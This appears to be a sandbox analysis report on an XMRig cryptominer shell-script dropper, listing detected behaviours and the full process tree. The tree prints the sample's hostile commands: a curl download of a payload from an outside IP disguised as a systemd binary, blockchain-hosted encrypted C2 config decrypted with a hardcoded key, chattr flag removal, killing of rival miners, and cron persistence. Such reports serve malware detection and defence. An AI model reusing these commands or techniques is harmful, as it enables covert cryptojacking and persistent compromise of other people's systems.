Overview

overview

10

Static

static

1

ca06059d5d3d81d2.sh

ubuntu-18.04-amd64

10

ca06059d5d3d81d2.sh

debian-9-armhf

7

ca06059d5d3d81d2.sh

debian-9-mips

ca06059d5d3d81d2.sh

debian-9-mipsel

Analysis

  • max time kernel
    149s
  • max time network
    148s
  • platform
    ubuntu-18.04_amd64
  • resource
    ubuntu1804-amd64-20260513-en
  • resource tags

    arch:amd64arch:i386image:ubuntu1804-amd64-20260513-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
  • submitted
    08/08/2026, 12:26

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    ca06059d5d3d81d2.sh
  • Size 70KB
  • Sample260808-pmjf2sde48
  • SHA256 3cf4a9e9af1a3733562dcdd74160fe1001c124878370c7bee555517f38720a6e
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
10/10
antivmdefense_evasiondiscoveryexecutionxmrigminerpersistenceprivilege_escalationupx

Malware Config

Signatures

  • Family: xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

    minerxmrig
  • XMRig Miner payload 1 IoCs
    miner
  • File and Directory Permissions Modification 1 TTPs 2 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

    defense_evasion
  • Executes dropped EXE 1 IoCs
  • Checks hardware identifiers (DMI) 1 TTPs 4 IoCs

    Checks DMI information which indicate if the system is a virtual machine.

    antivm
  • Creates/modifies Cron job 1 TTPs 2 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

    executionpersistenceprivilege_escalation
  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads hardware information 1 TTPs 14 IoCs

    Accesses system info like serial numbers, manufacturer names etc.

    discovery
  • Removes the immutable protection flag from a file 1 TTPs 2 IoCs

    Uses chattr to remove the immutable flag from a file, allowing previously write-protected files to be modified or deleted.

  • UPX packed file 1 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

    upx
  • Deobfuscate/Decode Files or Information 1 TTPs 1 IoCs

    Adversaries may deobfuscate or decode files or information to evade detection mechanisms.

    defense_evasion
  • Changes its process name 4 IoCs
  • Checks CPU configuration 1 TTPs 1 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

    antivm
  • Reads CPU attributes 1 TTPs 64 IoCs
    discovery
  • Enumerates kernel/hardware configuration 1 TTPs 25 IoCs

    Reads contents of /sys virtual filesystem to enumerate system information.

    discovery
  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

    discovery
  • Writes file to shm directory 1 IoCs

    Malware can drop malicious files in the shm directory which will run directly from RAM.

Processes

  • /tmp/ca06059d5d3d81d2.sh
    /tmp/ca06059d5d3d81d2.sh
    1⤵
      PID:1504
      • /usr/bin/tr
        tr 0123456789abcdef fedcba9876543210
        2⤵
          PID:1507
        • /usr/bin/cut
          cut -c1-8
          2⤵
            PID:1510
          • /bin/hostname
            hostname
            2⤵
              PID:1509
            • /bin/cat
              cat /etc/machine-id
              2⤵
                PID:1511
              • /usr/bin/cut
                cut -c1-8
                2⤵
                  PID:1515
                • /usr/bin/md5sum
                  md5sum
                  2⤵
                    PID:1514
                  • /usr/bin/id
                    id -u
                    2⤵
                      PID:1516
                    • /bin/mkdir
                      mkdir -p /var/tmp/.cache
                      2⤵
                        PID:1517
                      • /usr/bin/cut
                        cut -c1-2
                        2⤵
                          PID:1520
                        • /bin/sed
                          sed "s/^/0x/"
                          2⤵
                            PID:1521
                          • /bin/mkdir
                            mkdir -p /var/tmp/.cache
                            2⤵
                              PID:1522
                            • /usr/bin/curl
                              curl -s --connect-timeout 5 --max-time 10 -X POST https://mainnet.base.org -H "Content-Type: application/json" -d "{\"jsonrpc\":\"2.0\",\"method\":\"eth_call\",\"params\":[{\"to\":\"0xF6a766de5Cc7B3f9439c850De2B1faE82Ed053F0\",\"data\":\"0x6d4ce63c\"},\"latest\"],\"id\":1}"
                              2⤵
                                PID:1525
                              • /bin/sed
                                sed "s/^0x//"
                                2⤵
                                  PID:1535
                                • /usr/bin/cut
                                  cut "-d\"" -f4
                                  2⤵
                                    PID:1534
                                  • /bin/grep
                                    grep -o "\"result\":\"[^\"]*\""
                                    2⤵
                                      PID:1533
                                    • /bin/sed
                                      sed "s/0*\$//"
                                      2⤵
                                        PID:1540
                                      • /usr/bin/cut
                                        cut -c129-
                                        2⤵
                                          PID:1539
                                        • /usr/bin/xxd
                                          xxd -r -p
                                          2⤵
                                            PID:1542
                                          • /usr/bin/openssl
                                            openssl enc -aes-256-cbc -d -a -A -pbkdf2 -pass pass:5fd9f37bb223c166230b73ca4cc54764db037fa9a2fe8b82aae34cbd898e7259
                                            2⤵
                                              PID:1545
                                            • /bin/grep
                                              grep -q "\"c2\""
                                              2⤵
                                                PID:1550
                                              • /usr/bin/tr
                                                tr -d " \\t\\r\\n"
                                                2⤵
                                                  PID:1553
                                                • /usr/bin/cut
                                                  cut "-d\"" -f4
                                                  2⤵
                                                    PID:1557
                                                  • /bin/grep
                                                    grep -o "\"c2\":\"[^\"]*\""
                                                    2⤵
                                                      PID:1556
                                                    • /usr/bin/cut
                                                      cut "-d\"" -f4
                                                      2⤵
                                                        PID:1561
                                                      • /bin/grep
                                                        grep -o "\"wallet\":\"[^\"]*\""
                                                        2⤵
                                                          PID:1560
                                                        • /usr/bin/cut
                                                          cut "-d\"" -f4
                                                          2⤵
                                                            PID:1565
                                                          • /bin/grep
                                                            grep -o "\"pool\":\"[^\"]*\""
                                                            2⤵
                                                              PID:1564
                                                            • /usr/bin/cut
                                                              cut "-d\"" -f4
                                                              2⤵
                                                                PID:1569
                                                              • /bin/grep
                                                                grep -o "\"bin\":\"[^\"]*\""
                                                                2⤵
                                                                  PID:1568
                                                                • /usr/bin/cut
                                                                  cut "-d\"" -f4
                                                                  2⤵
                                                                    PID:1573
                                                                  • /bin/grep
                                                                    grep -o "\"bin_arm\":\"[^\"]*\""
                                                                    2⤵
                                                                      PID:1572
                                                                    • /usr/bin/cut
                                                                      cut -d: -f2
                                                                      2⤵
                                                                        PID:1577
                                                                      • /bin/grep
                                                                        grep -o "\"kill\":[a-z]*"
                                                                        2⤵
                                                                          PID:1576
                                                                        • /usr/bin/cut
                                                                          cut -d: -f2
                                                                          2⤵
                                                                            PID:1581
                                                                          • /bin/grep
                                                                            grep -o "\"tls\":[a-z]*"
                                                                            2⤵
                                                                              PID:1580
                                                                            • /usr/bin/cut
                                                                              cut -d: -f2
                                                                              2⤵
                                                                                PID:1585
                                                                              • /bin/grep
                                                                                grep -o "\"threads\":[0-9]*"
                                                                                2⤵
                                                                                  PID:1584
                                                                                • /bin/grep
                                                                                  grep -q "\"debug\":true"
                                                                                  2⤵
                                                                                    PID:1587
                                                                                  • /usr/bin/tr
                                                                                    tr "," " "
                                                                                    2⤵
                                                                                      PID:1593
                                                                                    • /usr/bin/tr
                                                                                      tr -d "]\""
                                                                                      2⤵
                                                                                        PID:1592
                                                                                      • /usr/bin/cut
                                                                                        cut "-d[" -f2
                                                                                        2⤵
                                                                                          PID:1591
                                                                                        • /bin/grep
                                                                                          grep -o "\"c2s\":\\[[^]]*\\]"
                                                                                          2⤵
                                                                                            PID:1590
                                                                                          • /usr/bin/tr
                                                                                            tr "," " "
                                                                                            2⤵
                                                                                              PID:1599
                                                                                            • /usr/bin/tr
                                                                                              tr -d "]\""
                                                                                              2⤵
                                                                                                PID:1598
                                                                                              • /usr/bin/cut
                                                                                                cut "-d[" -f2
                                                                                                2⤵
                                                                                                  PID:1597
                                                                                                • /bin/grep
                                                                                                  grep -o "\"pools\":\\[[^]]*\\]"
                                                                                                  2⤵
                                                                                                    PID:1596
                                                                                                  • /usr/bin/tr
                                                                                                    tr "," " "
                                                                                                    2⤵
                                                                                                      PID:1605
                                                                                                    • /usr/bin/tr
                                                                                                      tr -d "]\""
                                                                                                      2⤵
                                                                                                        PID:1604
                                                                                                      • /usr/bin/cut
                                                                                                        cut "-d[" -f2
                                                                                                        2⤵
                                                                                                          PID:1603
                                                                                                        • /bin/grep
                                                                                                          grep -o "\"worm\":\\[[^]]*\\]"
                                                                                                          2⤵
                                                                                                            PID:1602
                                                                                                          • /usr/bin/cut
                                                                                                            cut -d: -f2
                                                                                                            2⤵
                                                                                                              PID:1609
                                                                                                            • /bin/grep
                                                                                                              grep -o "\"wormver\":[0-9]*"
                                                                                                              2⤵
                                                                                                                PID:1608
                                                                                                              • /bin/grep
                                                                                                                grep -q "\"clean\":true"
                                                                                                                2⤵
                                                                                                                  PID:1611
                                                                                                                • /usr/bin/pkill
                                                                                                                  pkill -9 -f xmrig
                                                                                                                  2⤵
                                                                                                                  • Reads CPU attributes
                                                                                                                  • Reads runtime system information
                                                                                                                  PID:1612
                                                                                                                • /usr/bin/pkill
                                                                                                                  pkill -9 -f minerd
                                                                                                                  2⤵
                                                                                                                  • Reads CPU attributes
                                                                                                                  • Reads runtime system information
                                                                                                                  PID:1613
                                                                                                                • /usr/bin/pkill
                                                                                                                  pkill -9 -f kinsing
                                                                                                                  2⤵
                                                                                                                  • Reads CPU attributes
                                                                                                                  • Reads runtime system information
                                                                                                                  PID:1614
                                                                                                                • /usr/bin/pkill
                                                                                                                  pkill -9 -f kdevtmpfsi
                                                                                                                  2⤵
                                                                                                                  • Reads CPU attributes
                                                                                                                  • Reads runtime system information
                                                                                                                  PID:1615
                                                                                                                • /usr/bin/pkill
                                                                                                                  pkill -9 -f solrd
                                                                                                                  2⤵
                                                                                                                  • Reads CPU attributes
                                                                                                                  • Reads runtime system information
                                                                                                                  PID:1616
                                                                                                                • /usr/bin/pkill
                                                                                                                  pkill -9 -f ld-musl
                                                                                                                  2⤵
                                                                                                                  • Reads CPU attributes
                                                                                                                  • Reads runtime system information
                                                                                                                  PID:1617
                                                                                                                • /usr/bin/pkill
                                                                                                                  pkill -9 -f networkmanager-daemon
                                                                                                                  2⤵
                                                                                                                  • Reads CPU attributes
                                                                                                                  PID:1618
                                                                                                                • /usr/bin/pkill
                                                                                                                  pkill -9 -f dbused
                                                                                                                  2⤵
                                                                                                                  • Reads CPU attributes
                                                                                                                  PID:1619
                                                                                                                • /usr/bin/pkill
                                                                                                                  pkill -9 -f dbus-daemon-x
                                                                                                                  2⤵
                                                                                                                  • Reads CPU attributes
                                                                                                                  • Reads runtime system information
                                                                                                                  PID:1620
                                                                                                                • /usr/bin/pkill
                                                                                                                  pkill -9 -f watchdog-service
                                                                                                                  2⤵
                                                                                                                  • Reads CPU attributes
                                                                                                                  • Reads runtime system information
                                                                                                                  PID:1621
                                                                                                                • /usr/bin/pkill
                                                                                                                  pkill -9 -f .sshd2
                                                                                                                  2⤵
                                                                                                                  • Reads CPU attributes
                                                                                                                  • Reads runtime system information
                                                                                                                  PID:1622
                                                                                                                • /usr/bin/pkill
                                                                                                                  pkill -9 -f .X11-unix
                                                                                                                  2⤵
                                                                                                                  • Reads CPU attributes
                                                                                                                  • Reads runtime system information
                                                                                                                  PID:1624
                                                                                                                • /usr/bin/pkill
                                                                                                                  pkill -9 -f kernd
                                                                                                                  2⤵
                                                                                                                  • Reads CPU attributes
                                                                                                                  • Reads runtime system information
                                                                                                                  PID:1625
                                                                                                                • /bin/grep
                                                                                                                  grep -vE "kinsing|kdevtmpfsi|solrd|\\.X11-unix|minerd|xmrig|crypto"
                                                                                                                  2⤵
                                                                                                                    PID:1627
                                                                                                                  • /usr/bin/crontab
                                                                                                                    crontab -
                                                                                                                    2⤵
                                                                                                                    • Creates/modifies Cron job
                                                                                                                    PID:1628
                                                                                                                  • /usr/bin/crontab
                                                                                                                    crontab -l
                                                                                                                    2⤵
                                                                                                                      PID:1626
                                                                                                                    • /bin/uname
                                                                                                                      uname -m
                                                                                                                      2⤵
                                                                                                                        PID:1630
                                                                                                                      • /bin/uname
                                                                                                                        uname -m
                                                                                                                        2⤵
                                                                                                                          PID:1631
                                                                                                                        • /usr/bin/cut
                                                                                                                          cut "-d " -f1
                                                                                                                          2⤵
                                                                                                                            PID:1636
                                                                                                                          • /usr/bin/md5sum
                                                                                                                            md5sum
                                                                                                                            2⤵
                                                                                                                              PID:1635
                                                                                                                            • /bin/cat
                                                                                                                              cat /usr/lib/systemd/.systemd-journal-cache.md5
                                                                                                                              2⤵
                                                                                                                                PID:1637
                                                                                                                              • /usr/bin/pgrep
                                                                                                                                pgrep -f "/var/tmp/.*_rt"
                                                                                                                                2⤵
                                                                                                                                • Reads CPU attributes
                                                                                                                                • Reads runtime system information
                                                                                                                                PID:1638
                                                                                                                              • /usr/bin/pgrep
                                                                                                                                pgrep -f "/dev/shm/.*_rt"
                                                                                                                                2⤵
                                                                                                                                • Reads CPU attributes
                                                                                                                                • Reads runtime system information
                                                                                                                                PID:1639
                                                                                                                              • /usr/bin/pgrep
                                                                                                                                pgrep -f sys_defend
                                                                                                                                2⤵
                                                                                                                                • Reads CPU attributes
                                                                                                                                PID:1640
                                                                                                                              • /usr/bin/pgrep
                                                                                                                                pgrep -f "^/usr/lib/systemd/systemd-journal-cache"
                                                                                                                                2⤵
                                                                                                                                • Reads CPU attributes
                                                                                                                                • Reads runtime system information
                                                                                                                                PID:1641
                                                                                                                              • /usr/bin/pkill
                                                                                                                                pkill -f "^/usr/lib/systemd/systemd-journal-cache"
                                                                                                                                2⤵
                                                                                                                                • Reads CPU attributes
                                                                                                                                • Reads runtime system information
                                                                                                                                PID:1642
                                                                                                                              • /bin/sleep
                                                                                                                                sleep 1
                                                                                                                                2⤵
                                                                                                                                  PID:1643
                                                                                                                                • /usr/bin/chattr
                                                                                                                                  chattr -i /usr/lib/systemd/systemd-journal-cache /dev/shm/.systemd-journal-cache /usr/lib/systemd/.systemd-journal-cache.conf /usr/lib/systemd/.systemd-journal-cache.md5
                                                                                                                                  2⤵
                                                                                                                                  • Removes the immutable protection flag from a file
                                                                                                                                  PID:1644
                                                                                                                                • /usr/bin/timeout
                                                                                                                                  timeout 5 nc -zw3 104.194.140.150 443
                                                                                                                                  2⤵
                                                                                                                                    PID:1645
                                                                                                                                    • /usr/local/sbin/nc
                                                                                                                                      nc -zw3 104.194.140.150 443
                                                                                                                                      3⤵
                                                                                                                                        PID:1646
                                                                                                                                      • /usr/local/bin/nc
                                                                                                                                        nc -zw3 104.194.140.150 443
                                                                                                                                        3⤵
                                                                                                                                          PID:1646
                                                                                                                                        • /usr/sbin/nc
                                                                                                                                          nc -zw3 104.194.140.150 443
                                                                                                                                          3⤵
                                                                                                                                            PID:1646
                                                                                                                                          • /usr/bin/nc
                                                                                                                                            nc -zw3 104.194.140.150 443
                                                                                                                                            3⤵
                                                                                                                                              PID:1646
                                                                                                                                            • /sbin/nc
                                                                                                                                              nc -zw3 104.194.140.150 443
                                                                                                                                              3⤵
                                                                                                                                                PID:1646
                                                                                                                                              • /bin/nc
                                                                                                                                                nc -zw3 104.194.140.150 443
                                                                                                                                                3⤵
                                                                                                                                                  PID:1646
                                                                                                                                              • /usr/bin/python3
                                                                                                                                                python3 -c "import os;os.memfd_create(\"x\")"
                                                                                                                                                2⤵
                                                                                                                                                  PID:1647
                                                                                                                                                • /bin/rm
                                                                                                                                                  rm -f /var/tmp/.cache/.memfd
                                                                                                                                                  2⤵
                                                                                                                                                    PID:1648
                                                                                                                                                  • /usr/bin/curl
                                                                                                                                                    curl -so /usr/lib/systemd/systemd-journal-cache -fSL --connect-timeout 8 --max-time 60 http://104.194.140.150:8080/54ac4810b1d01207/libprocmon.so
                                                                                                                                                    2⤵
                                                                                                                                                      PID:1649
                                                                                                                                                    • /bin/chmod
                                                                                                                                                      chmod +x /usr/lib/systemd/systemd-journal-cache
                                                                                                                                                      2⤵
                                                                                                                                                      • File and Directory Permissions Modification
                                                                                                                                                      PID:1650
                                                                                                                                                    • /bin/cp
                                                                                                                                                      cp /usr/lib/systemd/systemd-journal-cache /dev/shm/.systemd-journal-cache
                                                                                                                                                      2⤵
                                                                                                                                                      • Writes file to shm directory
                                                                                                                                                      PID:1651
                                                                                                                                                    • /usr/bin/nice
                                                                                                                                                      nice -n 19 ionice -c 3 /usr/lib/systemd/systemd-journal-cache -c /usr/lib/systemd/.systemd-journal-cache.conf -B
                                                                                                                                                      2⤵
                                                                                                                                                        PID:1652
                                                                                                                                                      • /usr/local/sbin/ionice
                                                                                                                                                        ionice -c 3 /usr/lib/systemd/systemd-journal-cache -c /usr/lib/systemd/.systemd-journal-cache.conf -B
                                                                                                                                                        2⤵
                                                                                                                                                          PID:1652
                                                                                                                                                        • /usr/local/bin/ionice
                                                                                                                                                          ionice -c 3 /usr/lib/systemd/systemd-journal-cache -c /usr/lib/systemd/.systemd-journal-cache.conf -B
                                                                                                                                                          2⤵
                                                                                                                                                            PID:1652
                                                                                                                                                          • /usr/sbin/ionice
                                                                                                                                                            ionice -c 3 /usr/lib/systemd/systemd-journal-cache -c /usr/lib/systemd/.systemd-journal-cache.conf -B
                                                                                                                                                            2⤵
                                                                                                                                                              PID:1652
                                                                                                                                                            • /usr/bin/ionice
                                                                                                                                                              ionice -c 3 /usr/lib/systemd/systemd-journal-cache -c /usr/lib/systemd/.systemd-journal-cache.conf -B
                                                                                                                                                              2⤵
                                                                                                                                                              • Executes dropped EXE
                                                                                                                                                              PID:1652
                                                                                                                                                            • /usr/lib/systemd/systemd-journal-cache
                                                                                                                                                              /usr/lib/systemd/systemd-journal-cache -c /usr/lib/systemd/.systemd-journal-cache.conf -B
                                                                                                                                                              2⤵
                                                                                                                                                              • Checks hardware identifiers (DMI)
                                                                                                                                                              • Reads hardware information
                                                                                                                                                              • Changes its process name
                                                                                                                                                              • Checks CPU configuration
                                                                                                                                                              • Reads CPU attributes
                                                                                                                                                              • Enumerates kernel/hardware configuration
                                                                                                                                                              • Reads runtime system information
                                                                                                                                                              PID:1652
                                                                                                                                                            • /usr/bin/pgrep
                                                                                                                                                              pgrep -f "^/usr/lib/systemd/systemd-journal-cache"
                                                                                                                                                              2⤵
                                                                                                                                                              • Reads CPU attributes
                                                                                                                                                              • Reads runtime system information
                                                                                                                                                              PID:1660
                                                                                                                                                            • /usr/bin/head
                                                                                                                                                              head -1
                                                                                                                                                              2⤵
                                                                                                                                                                PID:1661
                                                                                                                                                              • /bin/cat
                                                                                                                                                                cat
                                                                                                                                                                2⤵
                                                                                                                                                                  PID:1663
                                                                                                                                                                • /bin/sed
                                                                                                                                                                  sed -i "s|__DR__|/var/tmp/.cache|g;s|__BN__|systemd-journal-cache|g;s|__BCT__|0xF6a766de5Cc7B3f9439c850De2B1faE82Ed053F0|g;s|__AK__|a0260c844ddc3e99dcf48c35b33ab89b24fc80565d01747d551cb34276718da6|g;s|__RS__|https://mainnet.base.org https://base-rpc.publicnode.com https://base.meowrpc.com https://1rpc.io/base https://base.drpc.org|g;s|__MK__|kv52566a884|g;s|__T__|/usr/lib/systemd/systemd-journal-cache|g;s|__T2__|/dev/shm/.systemd-journal-cache|g;s|__CFG__|/usr/lib/systemd/.systemd-journal-cache.conf|g;s|__CFGMD5__|/usr/lib/systemd/.systemd-journal-cache.md5|g;s|__VF__|/var/tmp/.cache/.2566a884.cv|g;s|__WORMVER__|9|g;s|__WU__|http://104.194.140.150:8080/54ac4810b1d01207/ca06059d5d3d81d2.sh|g" /usr/lib/systemd/.systemd-journal-cache.sh
                                                                                                                                                                  2⤵
                                                                                                                                                                  • Removes the immutable protection flag from a file
                                                                                                                                                                  PID:1665
                                                                                                                                                                • /bin/chmod
                                                                                                                                                                  chmod +x /usr/lib/systemd/.systemd-journal-cache.sh
                                                                                                                                                                  2⤵
                                                                                                                                                                  • File and Directory Permissions Modification
                                                                                                                                                                  PID:1666
                                                                                                                                                                • /usr/bin/id
                                                                                                                                                                  id -u
                                                                                                                                                                  2⤵
                                                                                                                                                                    PID:1667
                                                                                                                                                                  • /bin/grep
                                                                                                                                                                    grep -qaE "docker|kubepods|containerd|lxc|podman" /proc/1/cgroup
                                                                                                                                                                    2⤵
                                                                                                                                                                      PID:1668
                                                                                                                                                                    • /bin/cat
                                                                                                                                                                      cat /proc/1/comm
                                                                                                                                                                      2⤵
                                                                                                                                                                        PID:1669
                                                                                                                                                                      • /usr/bin/crontab
                                                                                                                                                                        crontab -l
                                                                                                                                                                        2⤵
                                                                                                                                                                          PID:1670
                                                                                                                                                                        • /bin/grep
                                                                                                                                                                          grep -qF "37-59/3 * * * * /usr/lib/systemd/.systemd-journal-cache.sh >/dev/null 2>&1"
                                                                                                                                                                          2⤵
                                                                                                                                                                            PID:1672
                                                                                                                                                                          • /usr/bin/crontab
                                                                                                                                                                            crontab -
                                                                                                                                                                            2⤵
                                                                                                                                                                            • Creates/modifies Cron job
                                                                                                                                                                            PID:1674
                                                                                                                                                                          • /bin/sed
                                                                                                                                                                            sed "s|\$|ca06059d5d3d81d2.sh|"
                                                                                                                                                                            2⤵
                                                                                                                                                                              PID:1678
                                                                                                                                                                            • /usr/bin/base64
                                                                                                                                                                              base64 -d
                                                                                                                                                                              2⤵
                                                                                                                                                                              • Deobfuscate/Decode Files or Information
                                                                                                                                                                              PID:1680
                                                                                                                                                                            • /usr/bin/crontab
                                                                                                                                                                              crontab -l
                                                                                                                                                                              2⤵
                                                                                                                                                                                PID:1681
                                                                                                                                                                              • /bin/rm
                                                                                                                                                                                rm -f /var/tmp/.cache/.2566a884.pid
                                                                                                                                                                                2⤵
                                                                                                                                                                                  PID:1682

                                                                                                                                                                              Network

                                                                                                                                                                                    MITRE ATT&CK Enterprise v16

                                                                                                                                                                                    Replay Monitor

                                                                                                                                                                                    Loading Replay Monitor...

                                                                                                                                                                                    Downloads

                                                                                                                                                                                    sedFXTQm0
                                                                                                                                                                                    • Path /usr/lib/systemd/sedFXTQm0
                                                                                                                                                                                    • Size 8KB
                                                                                                                                                                                    • SHA256 faee693d6be53ab6e57d26d04231a67b67eb5156f637dbc3eb86875207017f38
                                                                                                                                                                                    • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                                                                    Submit Download

                                                                                                                                                                                    systemd-journal-cache
                                                                                                                                                                                    • Path /usr/lib/systemd/systemd-journal-cache
                                                                                                                                                                                    • Size 2.4MB
                                                                                                                                                                                    • SHA256 27dc3ff88f2b012dea3fd86f82fbed99d3a7961c49873a7c87d61df6d7c7bab5
                                                                                                                                                                                    • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                                                                    Submit Download

                                                                                                                                                                                    tmp.0JpjMI
                                                                                                                                                                                    • Path /var/spool/cron/crontabs/tmp.0JpjMI
                                                                                                                                                                                    • Size 175B
                                                                                                                                                                                    • SHA256 9d409f9d7f46b52ebc681bee68def726a78d953280bae3d137f623231714ed38
                                                                                                                                                                                    • MD5 SHA1 SHA512 TLSH
                                                                                                                                                                                    Submit Download

                                                                                                                                                                                    tmp.oDl5gZ
                                                                                                                                                                                    • Path /var/spool/cron/crontabs/tmp.oDl5gZ
                                                                                                                                                                                    • Size 264B
                                                                                                                                                                                    • SHA256 3b9573bd19a4b08b6083a76a5be70a0399557f30f0e352b1939a3b045353d4cf
                                                                                                                                                                                    • MD5 SHA1 SHA512 TLSH
                                                                                                                                                                                    Submit Download

                                                                                                                                                                                    .2566a884.pid
                                                                                                                                                                                    • Path /var/tmp/.cache/.2566a884.pid
                                                                                                                                                                                    • Size 5B
                                                                                                                                                                                    • SHA256 81afbd0eda68593a58c755fdb2a0306397292674707aeefaf10b0a5696cff0f1
                                                                                                                                                                                    • MD5 SHA1 SHA512
                                                                                                                                                                                    Submit Download

                                                                                                                                                                                    .cloak
                                                                                                                                                                                    • Path /var/tmp/.cache/.cloak
                                                                                                                                                                                    • Size 39B
                                                                                                                                                                                    • SHA256 2d687035804bd446399d950bf77dea5258815cf481f31b34c8f96ad6913ff8c8
                                                                                                                                                                                    • MD5 SHA1 SHA512
                                                                                                                                                                                    Submit Download